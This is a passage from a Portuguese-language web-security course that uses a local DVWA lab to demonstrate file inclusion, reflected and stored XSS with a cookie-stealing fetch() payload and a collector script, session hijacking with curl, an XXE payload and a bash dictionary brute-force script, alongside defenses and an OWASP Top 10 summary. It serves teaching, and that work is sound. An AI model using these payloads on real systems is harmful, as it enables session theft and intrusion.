numéricos, por exemplo com esta expressão regular: [a-zA-Z0-
9]{1,200}\.[a-zA-Z0-9]{1,10} (arquivos com / ou \, por exemplo,
podem ser utilizados para substituir outros arquivos do sistema);
● Verificar o conteúdo dos arquivos;
● Limitar o tamanho do arquivo, tanto máximo quanto mínimo;
● Renomear o arquivo depois do upload (por exemplo, sendo o nome do
arquivo uma hash + data do envio);
● Não confiar no content-type do arquivo - ele pode ser alterado e inclusive
permitir o envio de arquivos Flash/PDF com a extensão .jpg;
● Não processar os arquivos antes de verificar tudo;
Estas são algumas medidas de segurança no código, a OWASP tem uma
lista bem completa no seguinte endereço:
https://www.owasp.org/index.php/Unrestricted_File_Upload
Inclusão de arquivos locais
Outra vulnerabilidade bastante comum e geralmente causada por
ingenuidade de programadores/desenvolvedores/analistas é a inclusão automática
de arquivos. Isso é um erro bem comum de programadores iniciantes que querem
simplificar o próprio trabalho colocando o nome de arquivos que serão inseridos
automaticamente no endereço da página.

Aplicando à DVWA
Acesse o painel da DVWA e clique em File Inclusion:

Clique nos arquivos (file1.php, file2.php, file3.php) e veja que o meio da

página deve mudar. Verifique também a barra de endereços do navegador:
file1: http://localhost:8080/vulnerabilities/fi/?page=file1.php
file2: http://localhost:8080/vulnerabilities/fi/?page=file2.php
file3: http://localhost:8080/vulnerabilities/fi/?page=file3.php

Note que aparentemente está sendo passado como parâmetro o nome de um

arquivo. Vamos verificar o código fonte:

Exatamente, e como ainda estamos no modo "low", não há qualquer tipo de

segurança sendo aplicada. Vamos tentar mudar manualmente o arquivo na barra de
endereços, trocando para o seguinte:
http://localhost:8080/vulnerabilities/fi/?page=../../robots.txt
 Note o valor no começo da página "User-agent: * Disallow: /", é o conteúdo
do arquivo robots.txt. Vamos tentar pegar o arquivo de senhas do sistema:
http://localhost:8080/vulnerabilities/fi/?page=/etc/passwd
 Pronto, aí está o conteúdo do arquivo /etc/passwd, sem complicação.
Se quisermos, podemos também causar um loop infinito carregando a própria
página para dentro dela mesma, recursivamente e derrubar o servidor, causando
um DoS10:
http://localhost:8080/vulnerabilities/fi/?page=index.php
Note que esta vulnerabilidade pode ser empregada em conjunto com o
upload de arquivos inseguros. Digamos que o upload de arquivos é feita em uma
pasta que não é pública pelo Apache (ou outro servidor), ou que existam restrições
quanto a acessar o arquivo diretamente. O arquivo ainda pode ser acessado e
processado utilizando essa técnica.

10 Ataque de negação de serviço, ou denial-of-service

XSS - Cross-site Script
O ataque XSS é poderosíssimo e pode ser utilizado para diversas coisas,
como:
● Pegar o arquivo de sessão de um ou mais clientes;
● Redirecionar o usuário para um site malicioso;
● Adicionar downloads automaticamente para usuários;
● Fazer propaganda de produtos ilegais (geralmente medicamentos como
Viagra e Cialis);
● Criar um keylogger para capturar tudo o que o usuário digita;
● Capturar fotos do usuário com a câmera do mesmo;
● Ou qualquer outra coisa que o navegador ou aparelho do usuário permita.
No caso de pegar um arquivo de sessão, um atacante pode utilizar a sessão
aberta por outro usuário para acessar um sistema, por exemplo. Isto ocorre
principalmente quando o sistema permite que a sessão seja trocada sem uma
validação ou que possa ser facilmente adivinhável. Por padrão, os navegadores só
permitem execução de scripts (JavaScript, por exemplo) do mesmo website, no
entanto, um atacante pode forjar um script que copie os dados do usuário e envie
para outro site, para que ele possa ser usado por outra pessoa.
Vejamos o caso em PHP11, onde os dados de sessão ficam gravados no
servidor e para identificar o usuário é gravado um cookie chamado PHPSESSID no
computador do usuário que é utilizado para identificar o mesmo e saber quais dados
de sessão devem ser utilizados. Caso um atacante descubra o valor deste cookie e
o sistema não faça nenhuma validação extra, ele pode criar um cookie
manualmente no próprio computador e fingir ser o outro usuário, ganhando acesso a
todas as sessões ativas daquele outro usuário. Isso é particularmente problemático
porque algumas aplicações permitem que a PHPSESSID possa ser passada
diretamente pela URL do navegador, ficando nos históricos dos usuários e muitas
vezes ficando também em caches de websites de busca como o Google, por
exemplo.

11Não só em PHP, praticamente todas as linguagens web server-side utilizam o mesmo esquema,
mas com nomes diferentes para os cookies.
Aplicando à DVWA
A ideia será pegar o PHPSESSID de um usuário logado e copiá-lo para outro
usuário, com esse outro usuário podemos nos passar pelo usuário logado.
Primeiro vamos preparar um código que irá fazer a captura dos dados, este
código será composto de duas partes:
● O script que irá capturar os dados e será executado no navegador;
● O código em PHP que rodará em um servidor externo e receberá nossa
PHPSESSID;
O código em PHP, preferencialmente deve rodar em um servidor externo,
mas como é só um exemplo, vamos rodá-lo no mesmo servidor só como base de
conceito12.
Vamos então acessar o painel da DVWA com o navegador e clicar em:
http://localhost:8080/vulnerabilities/xss_r/

12 Por conveniência, já deixei o código no vagrant em /var/www/html/cookie.php

 Esta página tem um campo bem simples de nome, digite qualquer coisa
neste campo e verifique o que acontece:

Repare no entanto na URL do navegador:

Podemos deduzir que o PHP está pegando o valor da URL, mais

especificamente da Query String ou dos campos $_GET para construir a string
"Hello <usuario>". Vamos verificar se o código é suscetível ao ataque XSS, digite no
campo o seguinte código e clique em submit:
<script>alert('ola');</script>
 Com isso sabemos que o formulário permite a execução de JavaScript.
Vamos então tentar pegar os cookies do usuário, digite no campo:
<script>alert(document.cookie);</script>

Repare que a URL do navegador deve ter ficado assim:

http://localhost:8080/vulnerabilities/xss_r/?name=%3Cscript%3Ealert%28document.
cookie%29%3B%3C%2Fscript%3E#
Se enviar essa URL para qualquer usuário que esteja logado, ele verá os
próprios cookies. Vamos tentar o seguinte código no campo:
JoaoBobo<script>fetch('http://localhost:8080/cookie.php?c="'+d
ocument.cookie+'"');</script>
Esse script irá fazer o trabalho de copiar o cookie do usuário e enviar para o
arquivo cookie.php. O script em PHP13 foi preparado para gravar em um arquivo
chamado cookies.txt tudo o vier via Query String e todos os dados que

13 Dentro do arquivo Vagrantfile, Anexo 1

conseguir do servidor (variável $_SERVER), como dados do navegador, número de
IP etc.
Visualmente, para o usuário incauto, não irá aparecer nada de incomum além
da URL do navegador que irá parecer um pouco estranha:

Mas a partir do momento que esta página for aberta, automaticamente será
gravado um registro sobre o usuário em outro servidor. Acesse o seguinte endereço
para visualizar:
http://localhost:8080/cookies.txt

Agora, a única coisa que o atacante precisa fazer é ofuscar essa URL com
um encurtador de URLs (ou URL shortnener) e enviar para usuários que ele saiba
que estão logados.
Outra opção é fazer a mesma coisa, mas ao invés de utilizar a URL para
gerar em tempo real o arquivo é gravar no servidor seu script de ataque. No painel
da DVWA há mais duas opções de XSS, acessando a opção XSS (Stored) podemos
colocar o mesmo script no campo Name ou Message e ter basicamente a mesma
funcionalidade, no entanto, o script ficará gravado na lista de mensagens e toda vez
que um usuário visualizar a lista de mensagens terá os dados vazados.
 Vamos tentar utilizar a PHPSESSID que capturamos para fazer uma espécie
de emulação utilizando a ferramenta cURL. Esta ferramenta é muito útil para fazer
requisições a servidores que podem ser automáticas ou manuais.
Por padrão o cURL já vem instalado na maior parte das distribuições Linux,
para iOS ele pode ser instalado com o brew ou macports, não é recomendável
utilizar Windows14 pois em alguns exemplos será necessário utilizar o comando
grep em conjunto e não há um substituto simples como este. Se o seu sistema
operacional é Windows, se recomenda utilizar o Linux Shell Bash do Windows
(quando presente) ou uma outra máquina virtual com um sistema baseado em Unix.
Verifique se você já tem o cURL com o seguinte comando:
curl --version
Estando com o cURL instalado, podemos fazer uma requisição para a página
principal da nossa aplicação pela linha de comando15:
curl "http://localhost:8080/" -v

14 Se mesmo assim você quiser utilizar Windows, você pode instalar você pode baixar o executável
direto do site https://curl.haxx.se/ no menu Download. Se quiser que o programa seja executável de
qualquer pasta na linha de comando, é necessário salvar o cURL em alguma pasta fixa e adicionar o
endereço da pasta no PATH do sistema. O PATH pode ser modificado no “Painel de controle” >
“Sistema e Segurança” > “Sistema” > “Configuração Avançada do Sistema” > “Variáveis de
Ambiente” e dentro dessa opção em “Variáveis do sistema”.
15 A opção -v significa verbose, para mais opções, verifique o manual com "man curl" ou a página de
ajuda com "curl --help".
 Repare que a aplicação nos mandou de volta para o arquivo login.php:
Location: login.php
Vamos tentar usar uma PHPSESSID que pegamos no arquivo
cookies.txt:
curl "http://localhost:8080/" -H "Cookie:
PHPSESSID=np7jofe14v2mrr0pprujphku45; security=low"
Troque o pelo PHPSESSID que você pegou no arquivo
http://localhost:8080/cookies.txt
Sua página deve ser parecida com isso:
 Recebemos o HTML da página interna do painel ou seja, conseguimos nos
logar como se fôssemos outro usuário.
Outra opção seria alterar o cookie do próprio browser para o mesmo efeito.

CSRF - Cross Site Request Forgery

Existe um outro ataque que tem vetores muito parecidos com o XSS,
chamado CSRF - Cross Site Request Forgery. A principal diferença entre este e o
XSS é que o CSRF executa ações para o usuários sem que ele queira, como por
exemplo, alterar a senha, desabilitar a autenticação em duas etapas etc. Da mesma
forma que o XSS, o CSRF é feito enviando um script malicioso para um cliente
incauto.
Como se proteger?
Como na maioria dos ataques, nunca se deve confiar nos dados vindos do
lado cliente. Sempre deve-se limpar todas as variáveis que os usuários mandam,
especialmente se elas forem ser exibidas em algum lugar. O ideal é nunca permitir
que os usuários adicionem HTML a uma página web, portanto, sempre se limpar os
dados para remover qualquer tag. Mesmo tags aparentemente inócuas como <img>
ou <svg> podem ser utilizadas para executar scripts maliciosos, pois permitem
execução em atributos como onload ou onerror.
Quando for exibir os dados de usuário, sempre deve-se usar funções que
convertam qualquer caractere não essencial, como letras, números e pontuação
básica para seus equivalentes no formato HTML encoded.
Mas atenção, existem várias formas de burlar scripts que codificam ou
impedem a inserção de tags HTML. Uma técnica comum é colocar uma palavra que
se sabe que será filtrada dentro de outra. Por exemplo, o atacante pode testar a
página e tentar descobrir se é feita uma lista branca (whitelist) que só permite
alguma tag específica ou se é feita uma lista negra (blacklist) que bloqueia alguma
palavra manualmente.
Digamos que o sistema utiliza blacklist e bloqueia tags como <script>. O
atacante pode forjar um script com o seguinte código:
<sc<script>ript>alert(x)</scr<script>ipt>
Quando o sistema apagar a tag <script>, o que vai sobrar é:
<script>alert(x)</script>
A maioria das linguagens modernas têm funções próprias para remover ou
converter tags HTML, geralmente é mais confiável utilizar as mesmas.
Além disso, quando for exibir algum dado inserido por algum usuário, lembre-
se de colocar o texto entre as tags <noscript></noscript> - e, claro, remover
qualquer possibilidade do usuário inserir a tag </noscript> dentro do texto.
Outro ponto importante é a utilização de tokens no lado do servidor para
garantir consistência nas requisições, além de validar se a ID de sessão realmente
pertence a um usuário (checando com User-Agent e o IP, por exemplo).
Caso realmente precise que o usuário envie tags em HTML, considere a
utilização de linguagens como MarkDown (http://commonmark.org/) ou outra
linguagem de marcação ou libere apenas e somente o que for mais necessário
usando uma lista branca e excluindo tudo o que não for essencial.
Ataque de Força Bruta
Ataques de força bruta, ou brute force, geralmente acontecem quando um
formulário de login, por exemplo, permite irrestritas (ou excepcionalmente muitas)
requisições. O atacante, geralmente, tenta enviar uma quantidade enorme de
requisições testando uma série de palavras ou de combinação de palavras para
tentar adivinhar um valor, como usuário e senha, ou um token, ou um serial, ou
qualquer outro tipo de dado que pode ser adivinhado.

Aplicando à DVWA
O ataque que vamos realizar é um ataque de força bruta com um dicionário
simples (sem mutação), que funciona quando se tem uma lista pré-programada de
palavras para se testar contra um formulário. Existem outros tipos, como o ataque
com dicionário com mutação (quando o dicionário pode ter alterações durante o
teste, por exemplo, trocando letras maiúsculas/minúsculas, trocando letras por
números, ou até trocando sufixos/prefixos, por exemplo) além do ataque de força
bruta tradicional, sem dicionário, onde vai-se gerando os campos automaticamente,
muitas vezes caracter-a-caracter (ou múltiplos caracteres por vez).
Existem várias ferramentas que fazem ataques automaticamente, mas a ideia
dessa disciplina é ensinar os conceitos por trás de tais ferramentas, por isso, vamos
fazer manualmente. Vamos precisar de algumas coisas:
● A ferramenta cURL;
● Uma wordlist (lista de palavras ou de usuários/senhas comuns);
● Conhecimento em lógica de programação (não obrigatório);
Estando tudo certo, vamos primeiro verificar qual URL vamos utilizar. No
painel da DVWA acesse clique no menu em Brute Force:
 Vamos fazer um teste, digitar qualquer coisa no campo de usuário e qualquer
coisa no campo de senha e enviar o formulário:

Se você não digitou um usuário/senha válido, deve receber uma mensagem

como essa:
 Mas o mais interessante nesse caso é a URL da página:

Assim sabemos que a URL para a qual devemos fazer a requisição para esta
URL. Vamos tentar com o cURL:
$ curl
"http://localhost:8080/vulnerabilities/brute/?username=pog&pas
sword=xgohorse&Login=Login"

Bom, aparentemente não aconteceu nada, vamos tentar o modo verbose,

com um -v:
$ curl
"http://localhost:8080/vulnerabilities/brute/?username=pog&pas
sword=xgohorse&Login=Login" -v
 Na verdade recebemos um redirect para o login.php, pois não colocamos
o login e a senha… então não vamos conseguir acessar diretamente o arquivo
dessa forma. Vamos procurar por uma outra alternativa.
Como vimos no ataque de XSS podemos utilizar a PHPSESSID para nos
passar por outro usuário. Precisamos neste caso pegar a PHPSESSID. Isso pode
ser abrindo no navegador que esteja logado na DVWA na barra de
desenvolvedores, em Aplicação ou Application ou App. Outra opção é pegar em
uma requisição na aba Rede ou Network e nos detalhes da mesma pegar o
PHPSESSID. Ou, no console digite: console.log(document.cookie);.
Com o PHPSESSID em mãos, vamos tentar a requisição para a URL
novamente:
$ curl
"http://localhost:8080/vulnerabilities/brute/?username=pog&pas
sword=xgohorse&Login=Login" -H "Cookie:
PHPSESSID=np7jofe14v2mrr0pprujphku45; security=low"

Olhe com cuidado o código e note que a mensagem "Username and/or

password incorrect." que aparece na página estará mais abaixo:
 Podemos usar a ferramenta grep para restringir só a essa frase o nosso
retorno:
$ curl
"http://localhost:8080/vulnerabilities/brute/?username=pog&pas
sword=xgohorse&Login=Login" -H "Cookie:
PHPSESSID=np7jofe14v2mrr0pprujphku45; security=low" | grep
"Username and/or password incorrect."

Já ficou mais fácil de visualizar, mas ainda assim tem muito dado, vamos
restringir ainda mais com a opção -s:
$ curl
"http://localhost:8080/vulnerabilities/brute/?username=pog&pas
sword=xgohorse&Login=Login" -H "Cookie:
PHPSESSID=np7jofe14v2mrr0pprujphku45; security=low" -s | grep
"Username and/or password incorrect."

Agora sim, temos uma resposta de uma só linha. O que vamos fazer é
preparar um pequeno script para verificar se esse texto aparece quando fizermos
várias requisições com usuários/senhas diferentes. Se não aparecer é porque nosso
login foi feito com sucesso ou algum erro estranho aconteceu (o que também é
interessante). Este script pode ser feito em qualquer linguagem, mas por
simplicidade vamos utilizar o próprio bash/shell para isso.
Nosso script vai ser somente uma prova de conceito16, super simples e
básico pois estamos utilizando a versão low da DVWA, para ataques mais
complexos, ou em aplicações mais protegidas, o ideal é utilizar uma ferramenta
própria para ataques de brute force. Nosso script vai rodar um arquivo de dicionário
(será um ataque de brute force com dicionário) e testar linha a linha com o
usuário/senha. O dicionário pode ser baixado da seguinte URL:
https://raw.githubusercontent.com/delefrati/Hob0Rules/master/wordlists/shortKrak.txt
O script está nos anexos como Anexo 2. Copie o conteúdo e coloque em um
novo arquivo e salve com o nome buteforce.sh. Salve o dicionário na mesma
pasta. Aplique o comando a seguir para permitir a execução do script:
$ chmod +x bruteforce.sh
Após, rode o script com o seguinte comando:
$ time ./bruteforce.sh shortKrak.txt
A ferramenta time vai ser usada para verificar quanto tempo demoraria para
quebrar essa senha usando esse programa (que está longe de ser otimizado):

Preencha o usuário e a PHPSESSID quando forem pedidos. A execução

deve durar alguns segundos e esse é o resultado:

16 POC ou proof-of-concept em inglês

 Note que mesmo que o sistema esteja desprotegido, algumas coisas
influenciam em um ataque como esse:
● A qualidade do dicionário - quanto mais palavras e mais diversas, melhor;
● Os recursos da máquina - um computador mais potente conseguirá mais
requisições por segundo;
● A conexão com o sistema - mais rápido será o ataque quanto mais rápido
seja a conexão com o site;
● A otimização do código - o nosso POC é simples e praticamente sem
otimização, um bom sistema de força bruta pode fazer requisições em
paralelo, criar mutações nos textos e verificar diferentes tipos de retorno de
uma aplicação, entre outras coisas;

Como se proteger?
Um sistema de captcha, por exemplo, pode ser um pouco efetivo
temporariamente para evitar muitas tentativas por segundo, mas não deve ser
utilizado como única forma de defesa. Idealmente um sistema mais seguro deve ter
alguma outra forma de verificação de segurança, como autenticação em duas
etapas (2fa), confirmando a identidade do usuário de maneira independente, através
de um aplicativo separado ou enviando um e-mail ou SMS com um código.
Entre outras sugestões para melhorar a segurança:
● Os sistemas/aplicações devem testar as senhas dos usuários por senhas
fracas17;
● Deve ser facilitado ao usuário uma forma de trocar a senha em caso de
comprometimento;
● Monitoramento e detecção;
● Atenção! A criação de senhas muito complexas utilizando números, letras e
caracteres especiais já foi considerada uma boa prática de segurança, mas
nos últimos anos vêm sendo considerada uma má prática pois incentiva a
criação de senhas difíceis de serem lembradas, mas com baixa entropia, que
pode permitir a quebra das mesmas mais facilmente que, por exemplo, uma
senha longa, mas com palavras desconexas. Além disso, para a maioria dos
usuários18, estimula a reutilização das senhas. O quadrinista online Randall
Munroe do site XKCD ilustra esse paradigma brilhantemente no seguinte
quadro:

17 Diferente de quando falamos sobre isso em "falha de criptografia", quando o assunto era a própria
função criptográfica que era fraca.
18 Considerando usuários que memorizam as senhas, no entanto, o ideal é ter um gerenciador de
senhas e sim, criar senhas com o máximo possível de caracteres diferentes e randômicos.
https://xkcd.com/936/

Tradução:
Quadro 1:
Palavra base incomum (palavra real) - Order desconhecida
Letra maíuscula? - Substituições comuns - Pontuação - Numeral
(você pode adicionar mais alguns bits ao levar em conta que este é um dos poucos
formatos mais comuns)

Quadro 2:
~28 bits de entropia
220 = 3 dias para acertar com 1.000 tentativas/segundo
(Ataque plausível em um servidor remoto com um webserver. Sim, crackear uma
hash roubada é mais rápido que isso, mas não é o que a maioria dos usuários
deveria se preocupar)
Dificuldade para adivinhar: Fácil

Quadro 3:
(personagem falando) Era trombone? Não, troubador. E um dos Os era um zero? E
tinha um símbolo...
Dificuldade para lembrar: Difícil

Quadro 4:
correto cavalo bateria grampo
Quatro palavras comuns randômicas

Quadro 5: ~44 bits de entropia

244 = 550 anos para acertar com 1.000 tentativas/seg
Dificuldade para adivinhar: Difícil

Quadro 6:
(cavalo falando) É um grampo na bateria.
(outra pessoa respondendo) Correto!
Dificuldade para lembrar: você já memorizou

Quadro final:
Por 20 anos nos esforçamos e conseguimos com sucesso treinar todo mundo a usar
senhas que são difíceis de memorizar para os humanos, mas fáceis para os
computadores adivinharem.
OWASP
A Open Web Application Security Project (OWASP) é uma organização sem
fins lucrativos focada em melhorar a segurança de softwares. Qualquer pessoa
pode participar da comunidade e todos os materiais da comunidade têm licença
aberta e são gratuitos. Entre estes materiais é lançada uma lista com as top 10
maiores vulnerabilidades votadas pela comunidade
(https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project). A última
lista lançada foi em 2017, mas a versão mais recente em português foi lançada em
2013, disponível em:
https://storage.googleapis.com/google-code-archive-
downloads/v2/code.google.com/owasptop10/OWASP_Top_10_-
_2013_Brazilian_Portuguese.pdf
A lista top 10 da OWASP considera as vulnerabilidades em uma escala de 1
a 3, seguindo os seguintes critérios:

É recomendável e importante que se pesquise e se leia o documento com as

top 10 vulnerabilidades da OWASP. No entanto, o mesmo pode ser seguido como
um guia básico, o aluno não deve basear todo o seu conhecimento nestas 10
vulnerabilidades, mas usar o documento como uma plataforma para estudos mais
aprofundados.
No documento de 2017 os 10 maiores problemas são os seguintes:

1. Injection (injeção)
Um usuário mal-intencionado envia um “vetor de ataque”, ou seja, um pedaço
de código, através dos inputs do sistema, conseguindo modificar o funcionamento
deste. A injeção pode se aproveitar de brechas de segurança na execução das
consultas do banco de dados (PL/SQL) ou outro tipo de inserção de código, como
comandos shell, por exemplo.
Vetores: 3/3 Prevalência: 2/3 Detectabilidade: 3/3 Impacto técnico: 3/3

2. Broken Authentication (autenticação "quebrada")

Basicamente, é quando sistema/aplicação tem um problema de autenticação.
Isso pode acontecer por vários motivos, quando uma aplicação:
● Permite ataques automáticos de força-bruta19
● Permite senhas fáceis como sequências de números, "senha", "admin/admin"
● Usa processos fracos ou ineficientes em opções de "esqueci minha senha"
● Salva senhas em texto simples ou com encriptação fraca
● Expõe a Session ID na URL
● Não atualiza corretamente a Session ID após um login efetuado com sucesso
● Não tem ou tem validação de multi-fator20 fraca
● Não invalida ou destrói a Session ID no logout, especialmente SSO21

Vetores: 3/3 Prevalência: 2/3 Detectabilidade: 2/3 Impacto técnico: 3/3

3. Sensitive Data Exposure (exposição de dados sensíveis)

Acontece quando um sistema não é criptografado, a criptografia é fraca ou
falha ou quando um atacante rouba as chaves privadas de um sistema e usa um
ataque man-in-the-middle para pegar dados criptografados. Dados coletados
frequentemente podem ser senhas, dados pessoais, números de cartões de crédito,
informações de saúde ou outros dados que devem ser protegidos até por leis e
regulamentos como o GDPR (Regulamento Geral sobre a Proteção de Dados) da
União Europeia.

Vetores: 2/3 Prevalência: 3/3 Detectabilidade: 2/3 Impacto técnico: 3/3

19 Ataques em que são usados dicionários com lista pré-programadas de palavras, podem ser
geradas automaticamente, copiadas de listas prontas da Internet ou de credenciais roubadas da
aplicação ou de outras aplicações
20 Validação de multi-fator, como por exemplo validação de login em duas etapas, verificando em
aplicativos, por e-mail ou por SMS
21 Sing-on único ou single sign-on se refere a um método de acesso geralmente com um token que
pode ser usado para se acessar a aplicação apenas uma vez. Pode ser utilizado em sistemas de
suporte, por exemplo, para acessar como outro usuário.
4. XML External Entities (XXE)
Vários processadores de XML antigos permitem a especificação de uma
entidade externa que pode permitir a execução remota de código inseguro que pode
ser usado para todo tipo de fim malicioso.
Exemplo:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE test [
<!ENTITY xxeattack SYSTEM "file:///etc/passwd">
]>
<xxx>&xxeattack;</xxx>

Vetores: 2/3 Prevalência: 2/3 Detectabilidade: 3/3 Impacto técnico: 3/3

5. Broken Access Control (controle de acesso "quebrado")

Quando um sistema não é bem testado algumas áreas ou métodos que
deveriam necessitar de uma permissão maior podem ficar abertas a usuários com
um nível de acesso menor. Algumas vezes, mesmo que o sistema esteja
aparentemente protegido, por causa de uma falha dessas explorada um usuário mal
intencionado pode escalar permissões no programa/aplicação dando permissões
extras a si mesmo ou a outro(s) usuário(s).

Vetores: 2/3 Prevalência: 2/3 Detectabilidade: 2/3 Impacto técnico: 3/3

6. Security Misconfiguration (má-configurações de segurança)

Configurações incorretas do sistema operacional, do servidor web, do banco
de dados, do framework ou mesmo do pré-compilador podem afetar a segurança do
sistema. As configurações padrão nem sempre são otimizadas com base na
segurança, por isso é importante revisar e configurar corretamente cada item.
Vetores: 3/3 Prevalência: 3/3 Detectabilidade: 3/3 Impacto técnico: 2/3

7. Cross-Site Scripting (XSS)

Um usuário mal-intencionado com acesso ao sistema envia scripts para
serem executados nos computadores dos outros usuários. O XSS pode ser feito a
partir de links ou referências a outros websites, por exemplo, no atributo href de uma
imagem ou no atributo src de uma tag <script>. Estas referências podem levar à
execução de código malicioso de um site dentro de outro (por isso o nome, cross-
site, ou através/cruzando sites).

Vetores: 3/3 Prevalência: 3/3 Detectabilidade: 3/3 Impacto técnico: 2/3

8. Insecure Deserialization (desserialização insegura)

É um ataque mais técnico e atualmente não existem muitas ferramentas que
fazem o ataque automaticamente, mas se relaciona a objetos ou estruturas de
dados em aplicações ou APIs que são serializados/de-serializados; se modificados
manualmente entre esses processos de serialização, podem ganhar funções não
previstas pelo sistema e permitir execuções de código malicioso.

Vetores: 1/3 Prevalência: 2/3 Detectabilidade: 2/3 Impacto técnico: 3/3

9. Using Components with Known Vulnerabilities (utilização de

componentes com vulnerabilidades conhecidas)
É comum que programadores que desenvolvem em larga escala utilizem
muitos componentes externos sem conhecer de forma integral como funcionam, ou
quais as versões ou vulnerabilidades que elas funcionam. Assim, alguns sistemas
podem ser comprometidos por pacotes ou bibliotecas desatualizadas ou que não
tiveram problemas de segurança resolvidos.
Vetores: 2/3 Prevalência: 3/3 Detectabilidade: 2/3 Impacto técnico: 2/3

10. Insufficient Logging & Monitoring (logs e monitoramento

insuficiente)
Quando um sistema não grava logs suficientes, ou quando não tem um
sistema de monitoramento adequado toda a segurança de um sistema pode ser
comprometida. Os ataques mais bem sucedidos são feitos a partir de sondagem de
código, um usuário mal intencionado pode não conhecer bem um sistema, mas se
tiver tempo de testar muitas probabilidades provavelmente vai encontrar alguma
vulnerabilidade. Um sistema que não barre o usuário nesta fase de testes, ou que
pelo menos tenha as informações de como um ataque aconteceu é muito inseguro.

Vetores: 2/3 Prevalência: 3/3 Detectabilidade: 1/3 Impacto técnico: 2/3

Mutillidae
Além da lista com as 10 maiores vulnerabilidades, a OWASP tem sua própria versão
de sistema inseguro como o Damn Vulnerable Web Application. Chamado
inicialmente de NoWASP e posteriormente renomeado para Mutillidae 22. É um
sistema com ainda mais exemplos de vulnerabilidades do que a DVWA e que
separa as vulnerabilidades nas mesmas categorias que as top 10 vulnerabilidades.

Conclusão
A maioria das falhas de segurança em aplicações web podem ser evitadas,
mas acontecem por falta de atenção, falta de conhecimento ou por falta de
proatividade por parte dos desenvolvedores ou pelos responsáveis pelas
configurações dos servidores/aplicações. É essencial se conhecer sobre as
mesmas, não somente se você pretende trabalhar na área de segurança, mas se

22O nome é uma brincadeira em inglês, já que "wasp" significa "vespa" e "mutillidae" é uma família
de vespas da ordem hymenoptera
você trabalha em qualquer outra área relacionada ao
desenvolvimento/gerenciamento de sistemas, pois somente conhecendo como
estas falhas são exploradas é possível se prevenir e mitigar quando as mesmas
acontecem.
Anexos

Anexo 1:

# Instalação do DVWA em uma máquina virtual vbox

# Créditos: Jean R T Delefrati <jeandelefrati@gmail.com>
# Documentação completa do Vagrant: https://docs.vagrantup.com
# AVISO! Este arquivo instala o DVWA (Damn Vulnerable Web Application)
# uma aplicação que pode comprometer a segurança do seu computador
# por favor não libere a porta 8080 para acesso externo e após terminar
# seus estudos, execute o seguinte comando para fechar a máquina virtual:
# vagrant halt

Vagrant.configure(2) do |config|

# Instala a box Ubuntu Xenial 64bits

config.vm.box = "ubuntu/xenial64"
config.vm.box_check_update = false

# Encaminha a porta 80 da máquina virtual para a porta 8080

# do seu computador, para acessar: http://localhost:8080 em
# qualquer navegador
config.vm.network "forwarded_port", guest: 80, host: 8080

# Configura a Virtualbox
config.vm.provider "virtualbox" do |vb|
# Ignora o visual, usar só terminal
vb.gui = false
# Memória da máquina virtual, 1G
vb.memory = "1024"
end

# Os comandos abaixo serão executados na primeira vez que você

# iniciar o "vagrant up" ou quando executar um
# "vagrant up --provision" (não recomendado)
config.vm.provision "shell", inline: <<-SHELL
 echo '-- Atualizando os repositórios'
sudo apt-get -qq update -y

echo '-- Instalando o Apache web server'

sudo apt-get -qq install -y apache2 apache2.2-common apache2-utils
apache2-mpm-prefork >> /vagrant/inst.log

echo '-- Instalando o PHP'

sudo apt-get -qq install -y libapache2-mod-php php php-common php-gd >>
/vagrant/inst.log

echo '-- Instalando o editor NANO'

sudo apt-get -qq install -y nano >> /vagrant/inst.log

echo '-- Configurando o web server'

sudo service apache2 stop >> /vagrant/inst.log
sudo sed -i 's/www-data/vagrant/g' /etc/apache2/envvars
sudo sed -i '51iServerName 127.0.1.1' /etc/apache2/apache2.conf
sudo chown -R vagrant:root /var/lock/apache2
sudo service apache2 start >> /vagrant/inst.log

echo '-- Instalando o MySQL'

DBPASSWD=p@ssw0rd
debconf-set-selections <<< "mysql-server mysql-server/root_password
password $DBPASSWD"
debconf-set-selections <<< "mysql-server mysql-
server/root_password_again password $DBPASSWD"
debconf-set-selections <<< "phpmyadmin phpmyadmin/dbconfig-install
boolean true"
debconf-set-selections <<< "phpmyadmin phpmyadmin/app-password-confirm
password $DBPASSWD"
debconf-set-selections <<< "phpmyadmin phpmyadmin/mysql/admin-pass
password $DBPASSWD"
debconf-set-selections <<< "phpmyadmin phpmyadmin/mysql/app-pass
password $DBPASSWD"
debconf-set-selections <<< "phpmyadmin phpmyadmin/reconfigure-webserver
multiselect none"
sudo apt-get -y install mysql-server phpmyadmin php-mysql php-mysqli

echo '-- Configurando o PHP'

 sudo sed -i "s/error_reporting = .*/error_reporting = E_ALL/"
/etc/php/*/apache2/php.ini
sudo sed -i "s/display_errors = .*/display_errors = On/"
/etc/php/*/apache2/php.ini
sudo sed -i "s/allow_url_include = Off/allow_url_include = On/"
/etc/php/*/apache2/php.ini

echo '-- Executando os comandos pós instalação'

sudo service apache2 restart
sudo locale-gen UTF-8

echo '-- Baixando o DVWA'

cd ~
git clone https://github.com/ethicalhack3r/DVWA >> /vagrant/inst.log
sudo unlink /var/www/html/index.html
sudo mv DVWA/* /var/www/html
sudo sed -i "s/recaptcha_public_key' ] = ''/recaptcha_public_key' ] =
'insecurekey'/" /var/www/html/config/config.inc.php.dist
sudo sed -i "s/recaptcha_private_key' ] = ''/recaptcha_private_key' ]
= 'insecurekey'/" /var/www/html/config/config.inc.php.dist
sudo sed -i "s/'impossible'/'low'/"
/var/www/html/config/config.inc.php.dist

sudo cp /var/www/html/config/config.inc.php.dist
/var/www/html/config/config.inc.php

echo "-- Criando o arquivo para o ataque XSS"

echo "<?php @file_put_contents('cookies.txt', json_encode(\$_REQUEST) .
' - ' . json_encode(\$_SERVER) . PHP_EOL, FILE_APPEND);" >
/var/www/html/cookie.php

echo '-- Script finalizado'

SHELL
end
Anexo 2
#!/bin/bash

echo -e "POC - Simples ferramenta de brute force\n";

echo -e "Usuário: \c"
read usuario
echo -e "PHPSESSID: \c"
read sessid

for senha in $(<"$1"); do

echo "$usuario/$senha";
resultado=$(curl
"http://localhost:8080/vulnerabilities/brute/?username=$usuario&password=$s
enha&Login=Login" -H "Cookie: PHPSESSID=$sessid; security=low" -s | grep
"Username and/or password incorrect.");
if [ -z "$resultado" ]; then
echo "verificar!"
exit 1
fi;
done;
Bibliografia

DVWA
http://dvwa.co.uk/
https://github.com/ethicalhack3r/DVWA/
http://www.hackingarticles.in/hack-file-upload-vulnerability-dvwa-bypass-security/

OWASP
https://www.owasp.org/index.php/Main_Page
